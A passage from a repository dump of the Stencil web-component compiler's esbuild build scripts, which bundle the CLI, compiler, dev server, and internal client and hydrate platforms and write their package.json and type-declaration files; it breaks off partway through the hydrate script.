    "content": "import type { BuildOptions as ESBuildOptions } from 'esbuild';\nimport fs from 'fs-extra';\nimport { join } from 'path';\n\nimport { getBanner } from '../utils/banner';\nimport { BuildOptions } from '../utils/options';\nimport { writePkgJson } from '../utils/write-pkg-json';\nimport { externalNodeModules, getBaseEsbuildOptions, getEsbuildAliases, runBuilds } from './utils';\n\n/**\n * Runs esbuild to bundle the `cli` submodule\n *\n * @param opts build options\n * @returns a promise for this bundle's build output\n */\nexport async function buildCli(opts: BuildOptions) {\n  // clear out rollup stuff\n  await fs.emptyDir(opts.output.cliDir);\n\n  const inputDir = join(opts.srcDir, 'cli');\n  const buildDir = join(opts.buildDir, 'cli');\n\n  const outputDir = opts.output.cliDir;\n  const esmFilename = 'index.js';\n  const cjsFilename = 'index.cjs';\n\n  const dtsFilename = 'index.d.ts';\n\n  const cliAliases = getEsbuildAliases();\n  // this isn't strictly necessary to alias - however, this minimizes cuts down the bundle size by ~70kb.\n  cliAliases['prompts'] = 'prompts/lib/index.js';\n\n  const external = [...externalNodeModules, '../testing/*'];\n\n  const cliEsbuildOptions = {\n    ...getBaseEsbuildOptions(),\n    alias: cliAliases,\n    entryPoints: [join(inputDir, 'index.ts')],\n    external,\n    platform: 'node',\n  } satisfies ESBuildOptions;\n\n  // ESM build options\n  const esmOptions: ESBuildOptions = {\n    ...cliEsbuildOptions,\n    outfile: join(outputDir, esmFilename),\n    format: 'esm',\n    banner: {\n      js: getBanner(opts, `Stencil CLI`, true),\n    },\n  };\n\n  // CommonJS build options\n  const cjsOptions: ESBuildOptions = {\n    ...cliEsbuildOptions,\n    outfile: join(outputDir, cjsFilename),\n    platform: 'node',\n    format: 'cjs',\n    banner: {\n      js: getBanner(opts, `Stencil CLI (CommonJS)`, true),\n    },\n  };\n\n  // create public d.ts\n  let dts = await fs.readFile(join(buildDir, 'public.d.ts'), 'utf8');\n  dts = dts.replace('@stencil/core/internal', '../internal/index');\n  await fs.writeFile(join(opts.output.cliDir, dtsFilename), dts);\n\n  // copy config-flags.d.ts\n  let configDts = await fs.readFile(join(buildDir, 'config-flags.d.ts'), 'utf8');\n  configDts = configDts.replace('@stencil/core/declarations', '../internal/index');\n  await fs.writeFile(join(opts.output.cliDir, 'config-flags.d.ts'), configDts);\n\n  // write cli/package.json\n  writePkgJson(opts, opts.output.cliDir, {\n    name: '@stencil/core/cli',\n    description: 'Stencil CLI.',\n    main: cjsFilename,\n    module: esmFilename,\n    types: dtsFilename,\n  });\n\n  return runBuilds([esmOptions, cjsOptions], opts);\n}\n"
  },
  {
    "path": "scripts/esbuild/compiler.ts",
    "content": "import type { BuildOptions as ESBuildOptions } from 'esbuild';\nimport { replace } from 'esbuild-plugin-replace';\nimport fs from 'fs-extra';\nimport { join } from 'path';\n\nimport { getBanner } from '../utils/banner';\nimport { BuildOptions, createReplaceData } from '../utils/options';\nimport { writePkgJson } from '../utils/write-pkg-json';\nimport { externalNodeModules, getBaseEsbuildOptions, getEsbuildAliases, runBuilds } from './utils';\nimport { bundleParse5 } from './utils/parse5';\nimport { bundleTerser } from './utils/terser';\nimport { bundleTypeScriptSource, tsCacheFilePath } from './utils/typescript-source';\n\nexport async function buildCompiler(opts: BuildOptions) {\n  const inputDir = join(opts.buildDir, 'compiler');\n  const srcDir = join(opts.srcDir, 'compiler');\n  const compilerFileName = 'stencil.js';\n  const compilerDtsName = compilerFileName.replace('.js', '.d.ts');\n\n  // clear out rollup stuff and ensure directory exists\n  await fs.emptyDir(opts.output.compilerDir);\n\n  // create public d.ts\n  let dts = await fs.readFile(join(inputDir, 'public.d.ts'), 'utf8');\n  dts = dts.replace('@stencil/core/internal', '../internal/index');\n  await fs.writeFile(join(opts.output.compilerDir, compilerDtsName), dts);\n\n  // write @stencil/core/compiler/package.json\n  writePkgJson(opts, opts.output.compilerDir, {\n    name: '@stencil/core/compiler',\n    description: 'Stencil Compiler.',\n    main: compilerFileName,\n    types: compilerDtsName,\n  });\n\n  // copy and edit compiler/sys/in-memory-fs.d.ts\n  let inMemoryFsDts = await fs.readFile(join(inputDir, 'sys', 'in-memory-fs.d.ts'), 'utf8');\n  inMemoryFsDts = inMemoryFsDts.replace('@stencil/core/internal', '../../internal/index');\n  await fs.ensureDir(join(opts.output.compilerDir, 'sys'));\n  await fs.writeFile(join(opts.output.compilerDir, 'sys', 'in-memory-fs.d.ts'), inMemoryFsDts);\n\n  // copy and edit compiler/transpile.d.ts\n  let transpileDts = await fs.readFile(join(inputDir, 'transpile.d.ts'), 'utf8');\n  transpileDts = transpileDts.replace('@stencil/core/internal', '../internal/index');\n  await fs.writeFile(join(opts.output.compilerDir, 'transpile.d.ts'), transpileDts);\n\n  const alias: Record<string, string> = {\n    ...getEsbuildAliases(),\n    glob: './sys/node/glob.js',\n    '@sys-api-node': '../sys/node/index.js',\n  };\n\n  const external = [\n    ...externalNodeModules,\n    '../mock-doc/index.cjs',\n    '../sys/node/autoprefixer.js',\n    '../sys/node/index.js',\n  ];\n\n  // get replace data, which replaces certain strings within the output with\n  // build-time constants.\n  //\n  // this setup was originally designed for use with the Rollup `replace`\n  // plugin, but there is an esbuild plugin which provides equivalent\n  // functionality\n  //\n  // note that the `bundleTypeScriptSource` function implicitly depends on\n  // `createReplaceData` being called before it\n  const replaceData = createReplaceData(opts);\n\n  // stuff to patch typescript before bundling\n  const tsPath = require.resolve('typescript');\n  await bundleTypeScriptSource(tsPath, opts);\n  const tsFilePath = tsCacheFilePath(opts);\n  alias['typescript'] = tsFilePath;\n\n  // same for terser\n  const [, terserPath] = await bundleTerser(opts);\n  alias['terser'] = terserPath;\n\n  // and parse5\n  const [, parse5path] = await bundleParse5(opts);\n  alias['parse5'] = parse5path;\n\n  const compilerEsbuildOptions: ESBuildOptions = {\n    ...getBaseEsbuildOptions(),\n    banner: { js: getBanner(opts, 'Stencil Compiler', true) },\n    entryPoints: [join(srcDir, 'index.ts')],\n    platform: 'node',\n    external,\n    format: 'cjs',\n    alias,\n    plugins: [replace(replaceData)],\n    outfile: join(opts.output.compilerDir, compilerFileName),\n    // workaround for fdir https://github.com/thecodrr/fdir/issues/163\n    inject: [join(opts.bundleHelpersDir, 'import-meta-url.js')],\n    define: {\n      'import.meta.url': 'import_meta_url',\n    },\n  };\n\n  // copy typescript default lib dts files\n  const tsLibNames = await getTypeScriptDefaultLibNames(opts);\n  await Promise.all(tsLibNames.map((f) => fs.copy(join(opts.typescriptLibDir, f), join(opts.output.compilerDir, f))));\n\n  return runBuilds([compilerEsbuildOptions], opts);\n}\n\n/**\n * Helper function that reads in the `lib.*.d.ts` files in the TypeScript lib/ directory on disk.\n * @param opts the Stencil build options, which includes the location of the TypeScript lib/\n * @returns all file names that match the `lib.*.d.ts` format\n */\nasync function getTypeScriptDefaultLibNames(opts: BuildOptions): Promise<string[]> {\n  return (await fs.readdir(opts.typescriptLibDir)).filter((f) => f.startsWith('lib.') && f.endsWith('.d.ts'));\n}\n"
  },
  {
    "path": "scripts/esbuild/dev-server.ts",
    "content": "import { builtinModules } from 'node:module';\nimport { join } from 'node:path';\n\nimport type { BuildOptions as ESBuildOptions, Plugin } from 'esbuild';\nimport { replace } from 'esbuild-plugin-replace';\nimport fs from 'fs-extra';\nimport ts from 'typescript';\n\nimport { getBanner } from '../utils/banner';\nimport { type BuildOptions, createReplaceData } from '../utils/options';\nimport { writePkgJson } from '../utils/write-pkg-json';\nimport { externalAlias, getBaseEsbuildOptions, getEsbuildAliases, getFirstOutputFile, runBuilds } from './utils';\nimport { createContentTypeData } from './utils/content-types';\n\nconst CONNECTOR_NAME = 'connector.html';\n\n/**\n * Runs esbuild to bundle the `dev-server` submodule\n *\n * @param opts build options\n * @returns a promise for this bundle's build output\n */\nexport async function buildDevServer(opts: BuildOptions) {\n  // create dir of not existing already\n  await fs.ensureDir(opts.output.devServerDir);\n  // clear out rollup stuff\n  await fs.emptyDir(opts.output.devServerDir);\n\n  const inputDir = join(opts.buildDir, 'dev-server');\n\n  // create public d.ts\n  let dts = await fs.readFile(join(opts.buildDir, 'dev-server', 'index.d.ts'), 'utf8');\n  dts = dts.replace('../declarations', '../internal/index');\n  await fs.writeFile(join(opts.output.devServerDir, 'index.d.ts'), dts);\n\n  // write package.json\n  writePkgJson(opts, opts.output.devServerDir, {\n    name: '@stencil/core/dev-server',\n    description: 'Stencil Development Server which communicates with the Stencil Compiler.',\n    main: 'index.js',\n    types: 'index.d.ts',\n  });\n\n  // copy static files\n  await fs.copy(join(opts.srcDir, 'dev-server', 'static'), join(opts.output.devServerDir, 'static'));\n\n  // copy server-worker-thread.js\n  await fs.copy(\n    join(opts.srcDir, 'dev-server', 'server-worker-thread.js'),\n    join(opts.output.devServerDir, 'server-worker-thread.js'),\n  );\n\n  // copy template files\n  await fs.copy(join(opts.srcDir, 'dev-server', 'templates'), join(opts.output.devServerDir, 'templates'));\n\n  // open-in-editor's visualstudio.vbs file\n  const visualstudioVbsSrc = join(opts.nodeModulesDir, 'open-in-editor', 'lib', 'editors', 'visualstudio.vbs');\n  const visualstudioVbsDesc = join(opts.output.devServerDir, 'visualstudio.vbs');\n  await fs.copy(visualstudioVbsSrc, visualstudioVbsDesc);\n\n  // copy open's xdg-open file\n  const xdgOpenSrcPath = join(opts.nodeModulesDir, 'open', 'xdg-open');\n  const xdgOpenDestPath = join(opts.output.devServerDir, 'xdg-open');\n  await fs.copy(xdgOpenSrcPath, xdgOpenDestPath);\n\n  const external = [...builtinModules];\n  const devServerAliases = {\n    ...getEsbuildAliases(),\n    glob: '../../sys/node/glob.js',\n    '@stencil/core/mock-doc': '../../mock-doc/index.cjs',\n  };\n  const devServerIndexEsbuildOptions = {\n    ...getBaseEsbuildOptions(),\n    alias: devServerAliases,\n    entryPoints: [join(inputDir, 'index.js')],\n    outfile: join(opts.output.devServerDir, 'index.js'),\n    external: ['@dev-server-process', ...external],\n    format: 'cjs',\n    platform: 'node',\n    write: false,\n    plugins: [serverProcessAliasPlugin(), replace(createReplaceData(opts))],\n    banner: {\n      js: getBanner(opts, `Stencil Dev Server`, true),\n    },\n  } satisfies ESBuildOptions;\n\n  const devServerProcessEsbuildOptions = {\n    ...getBaseEsbuildOptions(),\n    alias: {\n      ...devServerAliases,\n      glob: '../../sys/node/glob.js',\n      '@stencil/core/mock-doc': '../../mock-doc/index.cjs',\n      '@sys-api-node': '../sys/node/index.js',\n    },\n    entryPoints: [join(inputDir, 'server-process.js')],\n    outfile: join(opts.output.devServerDir, 'server-process.js'),\n    external: [...external, '../sys/node/index.js'],\n    format: 'cjs',\n    platform: 'node',\n    write: false,\n    plugins: [\n      esm2CJSPlugin(),\n      contentTypesPlugin(opts),\n      replace(createReplaceData(opts)),\n      externalAlias('graceful-fs', '../sys/node/graceful-fs.js'),\n    ],\n    banner: {\n      js: getBanner(opts, `Stencil Dev Server Process`, true),\n    },\n  } satisfies ESBuildOptions;\n\n  const connectorAlias = {\n    glob: '../../sys/node/glob.js',\n    '@stencil/core/dev-server/client': join(inputDir, 'client', 'index.js'),\n    '@stencil/core/mock-doc': '../../mock-doc/index.cjs',\n  };\n  const connectorEsbuildOptions = {\n    ...getBaseEsbuildOptions(),\n    alias: connectorAlias,\n    entryPoints: [join(inputDir, 'dev-server-client', 'index.js')],\n    outfile: join(opts.output.devServerDir, CONNECTOR_NAME),\n    format: 'cjs',\n    platform: 'node',\n    write: false,\n    plugins: [appErrorCssPlugin(opts), clientConnectorPlugin(opts), replace(createReplaceData(opts))],\n  } satisfies ESBuildOptions;\n\n  await fs.ensureDir(join(opts.output.devServerDir, 'client'));\n  // copy dev server client dts files\n  await fs.copy(join(opts.buildDir, 'dev-server', 'client'), join(opts.output.devServerDir, 'client'), {\n    filter: (src) => {\n      if (src.endsWith('.d.ts')) {\n        return true;\n      }\n      const stats = fs.statSync(src);\n      if (stats.isDirectory()) {\n        return true;\n      }\n      return false;\n    },\n  });\n\n  // write package.json\n  writePkgJson(opts, join(opts.output.devServerDir, 'client'), {\n    name: '@stencil/core/dev-server/client',\n    description: 'Stencil Dev Server Client.',\n    main: 'index.js',\n    types: 'index.d.ts',\n  });\n\n  const devServerClientEsbuildOptions = {\n    ...getBaseEsbuildOptions(),\n    entryPoints: [join(opts.buildDir, 'dev-server', 'client', 'index.js')],\n    outfile: join(opts.output.devServerDir, 'client', 'index.js'),\n    format: 'esm',\n    platform: 'node',\n    plugins: [appErrorCssPlugin(opts), replace(createReplaceData(opts))],\n    banner: {\n      js: getBanner(opts, `Stencil Dev Server Client`, true),\n    },\n  } satisfies ESBuildOptions;\n\n  return runBuilds(\n    [\n      devServerIndexEsbuildOptions,\n      devServerProcessEsbuildOptions,\n      connectorEsbuildOptions,\n      devServerClientEsbuildOptions,\n    ],\n    opts,\n  );\n}\n\n/**\n * Load CSS files and export them as a string\n * @param opts build options\n * @returns an esbuild plugin\n */\nfunction appErrorCssPlugin(opts: BuildOptions): Plugin {\n  return {\n    name: 'appErrorCss',\n    setup(build) {\n      build.onResolve({ filter: /app-error\\.css$/ }, () => ({\n        path: join(opts.srcDir, 'dev-server', 'client', 'app-error.css'),\n      }));\n      build.onLoad({ filter: /app-error\\.css$/ }, async (args) => {\n        const code = await fs.readFile(args.path, 'utf8');\n        const css = code.replace(/\\n/g, ' ').trim();\n        const minified = css.replace(/  /g, ' ');\n        return { contents: `export default ${JSON.stringify(minified)};` };\n      });\n    },\n  };\n}\n\n/**\n * Transform connector client script into a HTML file\n * @param opts build options\n * @returns an esbuild plugin\n */\nfunction clientConnectorPlugin(opts: BuildOptions): Plugin {\n  return {\n    name: 'clientConnectorPlugin',\n    setup(build) {\n      build.onEnd(async (buildResult) => {\n        const bundle = buildResult.outputFiles?.find((b) => b.path.endsWith(CONNECTOR_NAME));\n        if (!bundle) {\n          throw \"Couldn't find build result!\";\n        }\n        let code = Buffer.from(bundle.contents).toString();\n\n        const tsResults = ts.transpileModule(code, {\n          compilerOptions: {\n            target: ts.ScriptTarget.ES5,\n          },\n        });\n\n        if (tsResults.diagnostics?.length) {\n          throw new Error(tsResults.diagnostics as any);\n        }\n\n        code = tsResults.outputText;\n        code = intro + code + outro;\n\n        if (opts.isProd) {\n          const { minify } = await import('terser');\n          const minifyResults = await minify(code, {\n            compress: { hoist_vars: true, hoist_funs: true, ecma: 5 },\n            format: { ecma: 5 },\n          });\n          if (minifyResults.code) {\n            code = minifyResults.code;\n          }\n        }\n\n        code = banner + code + footer;\n        code = code.replace(/__VERSION:STENCIL__/g, opts.version);\n        return fs.writeFile(bundle.path, code);\n      });\n    },\n  };\n}\n\n/**\n * esbuild plugin to support alias of dynamic import. Transforming a path within a dynamic import\n * does not seem to be supported yet.\n * @see https://github.com/evanw/esbuild/issues/700\n * @returns an esbuild plugin\n */\nfunction serverProcessAliasPlugin(): Plugin {\n  return {\n    name: 'serverProcessAlias',\n    setup(build) {\n      build.onEnd(async (buildResult) => {\n        const bundle = getFirstOutputFile(buildResult);\n        let code = Buffer.from(bundle.contents).toString();\n        code = code.replace('await import(\"@dev-server-process\")', '(await import(\"./server-process.js\")).default');\n        return fs.writeFile(bundle.path, code);\n      });\n    },\n  };\n}\n\n/**\n * The `open` NPM package is build as ESM module and uses ESM runtime features like `import.meta.url`.\n * This plugin transforms this into CJS compliant code.\n * @returns an esbuild plugin\n */\nfunction esm2CJSPlugin(): Plugin {\n  return {\n    name: 'esm2CJS',\n    setup(build) {\n      build.onEnd(async (buildResult) => {\n        const bundle = getFirstOutputFile(buildResult);\n        let code = Buffer.from(bundle.contents).toString();\n        code = code.replace('import_meta.url', 'new (require(\"url\").URL)(\"file:\" + __filename).href');\n        return fs.writeFile(bundle.path, code);\n      });\n    },\n  };\n}\n\n/**\n * Populates the `content-types-db.json` file with the content types of the `mime-db` package.\n * @param opts build options\n * @returns an esbuild plugin\n */\nfunction contentTypesPlugin(opts: BuildOptions): Plugin {\n  return {\n    name: 'contentTypesPlugin',\n    setup(build) {\n      build.onLoad({ filter: /content-types-db\\.json$/ }, async () => {\n        const contents = await createContentTypeData(opts);\n        return { contents };\n      });\n    },\n  };\n}\n\nconst banner = `<!doctype html><html><head><meta charset=\"utf-8\"><title>Stencil Dev Server Connector __VERSION:STENCIL__ &#9889</title><style>body{background:black;color:white;font:18px monospace;text-align:center}</style></head><body>\n\nStencil Dev Server Connector __VERSION:STENCIL__ &#9889;\n\n<script>`;\n\nconst intro = `(function(iframeWindow, appWindow, config, exports) {\n\"use strict\";\n`;\n\nconst outro = `\n})(window, window.parent, window.__DEV_CLIENT_CONFIG__, {});\n`;\n\nconst footer = `\\n</script></body></html>`;\n"
  },
  {
    "path": "scripts/esbuild/helpers/empty.js",
    "content": "module.exports = {};\n"
  },
  {
    "path": "scripts/esbuild/helpers/import-meta-url.js",
    "content": "export var import_meta_url = require('url').pathToFileURL(__filename);\n"
  },
  {
    "path": "scripts/esbuild/helpers/jest/jest-environment.js",
    "content": "const { getCreateJestPuppeteerEnvironment } = require('./index.js');\nconst createJestPuppeteerEnvironment = getCreateJestPuppeteerEnvironment();\nmodule.exports = createJestPuppeteerEnvironment();\n"
  },
  {
    "path": "scripts/esbuild/helpers/jest/jest-preprocessor.js",
    "content": "const { getJestPreprocessor } = require('./index.js');\nconst jestPreprocessor = getJestPreprocessor();\nmodule.exports = jestPreprocessor;\n"
  },
  {
    "path": "scripts/esbuild/helpers/jest/jest-preset.js",
    "content": "const { getJestPreset } = require('./index.js');\nmodule.exports = getJestPreset();\n"
  },
  {
    "path": "scripts/esbuild/helpers/jest/jest-runner.js",
    "content": "const { getCreateJestTestRunner } = require('./index.js');\nconst createTestRunner = getCreateJestTestRunner();\nmodule.exports = createTestRunner();\n"
  },
  {
    "path": "scripts/esbuild/helpers/jest/jest-setuptestframework.js",
    "content": "const { getJestSetupTestFramework } = require('./index.js');\nconst jestSetupTestFramework = getJestSetupTestFramework();\njestSetupTestFramework();\n"
  },
  {
    "path": "scripts/esbuild/helpers/lazy-require.js",
    "content": "// eslint-disable-next-line @typescript-eslint/no-unused-vars\nfunction _lazyRequire(moduleId) {\n  return new Proxy(\n    {},\n    {\n      get(_target, propertyKey) {\n        const importedModule = require(moduleId);\n        return Reflect.get(importedModule, propertyKey);\n      },\n      set(_target, propertyKey, value) {\n        const importedModule = require(moduleId);\n        return Reflect.set(importedModule, propertyKey, value);\n      },\n    },\n  );\n}\n"
  },
  {
    "path": "scripts/esbuild/helpers/path-is-absolute.js",
    "content": "import { isAbsolute } from 'path';\n\nexport default isAbsolute;\n"
  },
  {
    "path": "scripts/esbuild/internal-app-data.ts",
    "content": "import type { BuildOptions as ESBuildOptions } from 'esbuild';\nimport fs from 'fs-extra';\nimport { join } from 'path';\n\nimport { BuildOptions } from '../utils/options';\nimport { writePkgJson } from '../utils/write-pkg-json';\nimport { getBaseEsbuildOptions } from './utils';\n\n/**\n * Get an object containing ESbuild options to build the internal app data\n * file. This function also performs relevant side-effects, like writing a\n * `package.json` file to disk.\n *\n * @param opts build options\n * @returns a Promise wrapping an array of ESbuild option objects\n */\nexport async function getInternalAppDataBundles(opts: BuildOptions): Promise<ESBuildOptions[]> {\n  const appDataBuildDir = join(opts.buildDir, 'app-data');\n  const appDataSrcDir = join(opts.srcDir, 'app-data');\n  const outputInternalAppDataDir = join(opts.output.internalDir, 'app-data');\n\n  await fs.emptyDir(outputInternalAppDataDir);\n\n  // copy @stencil/core/internal/app-data/index.d.ts\n  await fs.copyFile(join(appDataBuildDir, 'index.d.ts'), join(outputInternalAppDataDir, 'index.d.ts'));\n\n  // write @stencil/core/internal/app-data/package.json\n  writePkgJson(opts, outputInternalAppDataDir, {\n    name: '@stencil/core/internal/app-data',\n    description: 'Used for default app data and build conditionals within builds.',\n    main: 'index.cjs',\n    module: 'index.js',\n    types: 'index.d.ts',\n    sideEffects: false,\n  });\n\n  const appDataBaseOptions: ESBuildOptions = {\n    ...getBaseEsbuildOptions(),\n    entryPoints: [join(appDataSrcDir, 'index.ts')],\n    platform: 'node',\n  };\n\n  const appDataESM: ESBuildOptions = {\n    ...appDataBaseOptions,\n    format: 'esm',\n    outfile: join(outputInternalAppDataDir, 'index.js'),\n  };\n\n  const appDataCJS: ESBuildOptions = {\n    ...appDataBaseOptions,\n    format: 'cjs',\n    outfile: join(outputInternalAppDataDir, 'index.cjs'),\n  };\n\n  return [appDataESM, appDataCJS];\n}\n"
  },
  {
    "path": "scripts/esbuild/internal-app-globals.ts",
    "content": "import type { BuildOptions as ESBuildOptions } from 'esbuild';\nimport fs from 'fs-extra';\nimport { join } from 'path';\n\nimport { BuildOptions } from '../utils/options';\nimport { writePkgJson } from '../utils/write-pkg-json';\nimport { getBaseEsbuildOptions } from './utils';\n\n/**\n * Get an object containing ESbuild options to build the internal app globals\n * file. This function also performs relevant side-effects, like writing a\n * `package.json` file to disk.\n *\n * @param opts build options\n * @returns a Promise wrapping an array of ESbuild option objects\n */\nexport async function getInternalAppGlobalsBundles(opts: BuildOptions): Promise<ESBuildOptions[]> {\n  const appGlobalsBuildDir = join(opts.buildDir, 'app-globals');\n  const appGlobalsSrcDir = join(opts.srcDir, 'app-globals');\n  const outputInternalAppDataDir = join(opts.output.internalDir, 'app-globals');\n\n  await fs.emptyDir(outputInternalAppDataDir);\n\n  // copy @stencil/core/internal/app-globals/index.d.ts\n  await fs.copyFile(join(appGlobalsBuildDir, 'index.d.ts'), join(outputInternalAppDataDir, 'index.d.ts'));\n\n  // write @stencil/core/internal/app-globals/package.json\n  writePkgJson(opts, outputInternalAppDataDir, {\n    name: '@stencil/core/internal/app-globals',\n    description: 'Used for default app globals.',\n    main: 'index.js',\n    module: 'index.js',\n    sideEffects: false,\n  });\n\n  const appGlobalsBaseOptions: ESBuildOptions = {\n    ...getBaseEsbuildOptions(),\n    entryPoints: [join(appGlobalsSrcDir, 'index.ts')],\n    platform: 'node',\n  };\n\n  const appGlobalsESM: ESBuildOptions = {\n    ...appGlobalsBaseOptions,\n    format: 'esm',\n    outfile: join(outputInternalAppDataDir, 'index.js'),\n  };\n\n  return [appGlobalsESM];\n}\n"
  },
  {
    "path": "scripts/esbuild/internal-platform-client.ts",
    "content": "import type { BuildOptions as ESBuildOptions, Plugin } from 'esbuild';\nimport { replace } from 'esbuild-plugin-replace';\nimport fs from 'fs-extra';\nimport { glob } from 'glob';\nimport { join } from 'path';\n\nimport { getBanner } from '../utils/banner';\nimport { BuildOptions, createReplaceData } from '../utils/options';\nimport { writePkgJson } from '../utils/write-pkg-json';\nimport { externalAlias, externalNodeModules, getBaseEsbuildOptions, getEsbuildAliases } from './utils';\n\n/**\n * Create objects containing ESbuild options for the two bundles which need to\n * be written to `internal/client`. This also performs relevant side-effects,\n * like clearing out the directory and writing a `package.json` script to disk.\n *\n * @param opts build options\n * @returns an array of ESBuild option objects\n */\nexport async function getInternalClientBundles(opts: BuildOptions): Promise<ESBuildOptions[]> {\n  const inputClientDir = join(opts.srcDir, 'client');\n  const outputInternalClientDir = join(opts.output.internalDir, 'client');\n  const outputInternalClientPolyfillsDir = join(outputInternalClientDir, 'polyfills');\n\n  await fs.emptyDir(outputInternalClientDir);\n  await fs.emptyDir(outputInternalClientPolyfillsDir);\n\n  await copyPolyfills(opts, outputInternalClientPolyfillsDir);\n\n  // write @stencil/core/internal/client/package.json\n  writePkgJson(opts, outputInternalClientDir, {\n    name: '@stencil/core/internal/client',\n    description:\n      'Stencil internal client platform to be imported by the Stencil Compiler and internal runtime. Breaking changes can and will happen at any time.',\n    exports: './index.js',\n    main: './index.js',\n    type: 'module',\n    sideEffects: false,\n  });\n\n  const internalClientAliases = getEsbuildAliases();\n  internalClientAliases['@platform'] = join(inputClientDir, 'index.ts');\n\n  const clientExternal = externalNodeModules;\n\n  const internalClientBundle: ESBuildOptions = {\n    ...getBaseEsbuildOptions(),\n    entryPoints: [join(inputClientDir, 'index.ts')],\n    format: 'esm',\n    // we do 'write: false' here because we write the build to disk in our\n    // `findAndReplaceLoadModule` plugin below\n    write: false,\n    outfile: join(outputInternalClientDir, 'index.js'),\n    platform: 'node',\n    external: clientExternal,\n    alias: internalClientAliases,\n    banner: {\n      js: getBanner(opts, 'Stencil Client Platform'),\n    },\n    plugins: [\n      replace(createReplaceData(opts)),\n      externalAlias('@app-data', '@stencil/core/internal/app-data'),\n      externalAlias('@app-globals', '@stencil/core/internal/app-globals'),\n      externalAlias('@utils/shadow-css', './shadow-css.js'),\n      findAndReplaceLoadModule(),\n    ],\n  };\n\n  const patchBrowserAliases = getEsbuildAliases();\n\n  const polyfills = await fs.readdir(join(opts.srcDir, 'client', 'polyfills'));\n  for (const polyFillFile of polyfills) {\n    patchBrowserAliases[`polyfills/${polyFillFile}`] = join(opts.srcDir, 'client', 'polyfills');\n  }\n\n  const patchBrowserExternal = [...externalNodeModules, '@stencil/core', '@stencil/core/mock-doc'];\n\n  const internalClientPatchBrowserBundle: ESBuildOptions = {\n    ...getBaseEsbuildOptions(),\n    entryPoints: [join(inputClientDir, 'client-patch-browser.ts')],\n    format: 'esm',\n    outfile: join(outputInternalClientDir, 'patch-browser.js'),\n    platform: 'node',\n    external: patchBrowserExternal,\n    alias: patchBrowserAliases,\n    banner: {\n      js: getBanner(opts, 'Stencil Client Patch Browser'),\n    },\n    plugins: [\n      replace(createReplaceData(opts)),\n      externalAlias('@platform', '@stencil/core'),\n      externalAlias('@app-data', '@stencil/core/internal/app-data'),\n      externalAlias('@app-globals', '@stencil/core/internal/app-globals'),\n    ],\n  };\n\n  return [internalClientBundle, internalClientPatchBrowserBundle];\n}\n\n/**\n * We need to manually find-and-replace a bit of code in\n * `client-load-module.ts` in order to prevent Esbuild from analyzing /\n * transforming the input by ensuring it does not start with `\"./\"`. However\n * some _other_ bundlers will _not_ work with such an import if it _lacks_ a\n * leading `\"./\"`, so we thus we have to do a little dance where we manually\n * replace it here after it's been run through Esbuild.\n *\n * @returns an Esbuild plugin\n */\nexport function findAndReplaceLoadModule(): Plugin {\n  return {\n    name: 'findAndReplaceLoadModule',\n    setup(build) {\n      build.onEnd(async (result) => {\n        for (const file of result.outputFiles!) {\n          const { path, text } = file;\n\n          await fs.writeFile(path, text.replace(/\\${MODULE_IMPORT_PREFIX}/, './'));\n        }\n      });\n    },\n  };\n}\n\nasync function copyPolyfills(opts: BuildOptions, outputInternalClientPolyfillsDir: string) {\n  const srcPolyfillsDir = join(opts.srcDir, 'client', 'polyfills');\n\n  const srcPolyfillFiles = glob.sync('*.js', { cwd: srcPolyfillsDir });\n\n  await Promise.all(\n    srcPolyfillFiles.map(async (fileName) => {\n      const src = join(srcPolyfillsDir, fileName);\n      const dest = join(outputInternalClientPolyfillsDir, fileName);\n      await fs.copyFile(src, dest);\n    }),\n  );\n}\n"
  },
  {
    "path": "scripts/esbuild/internal-platform-hydrate.ts",
    "content": "import type { BuildOptions as ESBuildOptions } from 'esbuild';\nimport fs from 'fs-extra';\nimport { join } from 'path';\n\nimport { getBanner } from '../utils/banner';\nimport { bundleDts } from '../utils/bundle-dts';\nimport { BuildOptions } from '../utils/options';\nimport { writePkgJson } from '../utils/write-pkg-json';\nimport { externalAlias, externalNodeModules, getBaseEsbuildOptions, getEsbuildAliases } from './utils';\n\n/**\n * Create objects containing ESbuild options for the two bundles comprising\n * the hydrate platform. This also performs relevant side-effects, like\n * clearing out a directory and writing a `package.json` script to disk.\n *\n * @param opts build options\n * @returns an array of ESBuild option objects\n */\nexport async function getInternalPlatformHydrateBundles(opts: BuildOptions): Promise<ESBuildOptions[]> {\n  const inputHydrateDir = join(opts.buildDir, 'hydrate');\n  const hydrateSrcDir = join(opts.srcDir, 'hydrate');\n  const outputInternalHydrateDir = join(opts.output.internalDir, 'hydrate');\n\n  await fs.emptyDir(outputInternalHydrateDir);\n\n  // write @stencil/core/internal/hydrate/package.json\n  writePkgJson(opts, outputInternalHydrateDir, {\n    name: '@stencil/core/internal/hydrate',\n    description:\n      'Stencil internal hydrate platform to be imported by the Stencil Compiler. Breaking changes can and will happen at any time.',\n    main: 'index.js',\n  });\n\n  await createHydrateRunnerDtsBundle(opts, inputHydrateDir, outputInternalHydrateDir);\n\n  const hydratePlatformInput = join(hydrateSrcDir, 'platform', 'index.js');\n\n  const external = externalNodeModules;\n\n  const internalHydrateAliases = getEsbuildAliases();\n  internalHydrateAliases['@platform'] = hydratePlatformInput;\n\n  const internalHydratePlatformBundle: ESBuildOptions = {\n    ...getBaseEsbuildOptions(),\n    entryPoints: [hydratePlatformInput],\n    format: 'esm',\n    platform: 'node',\n    outfile: join(outputInternalHydrateDir, 'index.js'),\n    external,\n    alias: internalHydrateAliases,\n    banner: {\n      js: getBanner(opts, 'Stencil Hydrate Platform'),\n    },\n    plugins: [\n      externalAlias('@utils/shadow-css', '../client/shadow-css.js'),\n      externalAlias('@app-data', '@stencil/core/internal/app-data'),\n      externalAlias('@app-globals', '@stencil/core/internal/app-globals'),\n    ],\n  };\n\n  const internalHydrateRunnerBundle: ESBuildOptions = {\n    ...getBaseEsbuildOptions(),\n    entryPoints: [join(hydrateSrcDir, 'runner', 'index.js')],\n    external,\n    format: 'esm',\n    platform: 'node',\n    outfile: join(outputInternalHydrateDir, 'runner.js'),\n    banner: {\n      js: getBanner(opts, 'Stencil Hydrate Runner'),\n    },\n    plugins: [\n      externalAlias('@utils/shadow-css', '../client/shadow-css.js'),\n      externalAlias('@app-data', '@stencil/core/internal/app-data'),\n      externalAlias('@hydrate-factory', '@stencil/core/hydrate-factory'),\n    ],\n  };\n\n  return [internalHydratePlatformBundle, internalHydrateRunnerBundle];\n}\n\nasync function createHydrateRunnerDtsBundle(opts: BuildOptions, inputHydrateDir: string, outputDir: string) {\n  // bundle @stencil/core/internal/hydrate/runner.d.ts\n  const dtsEntry = join(inputHydrateDir, 'runner', 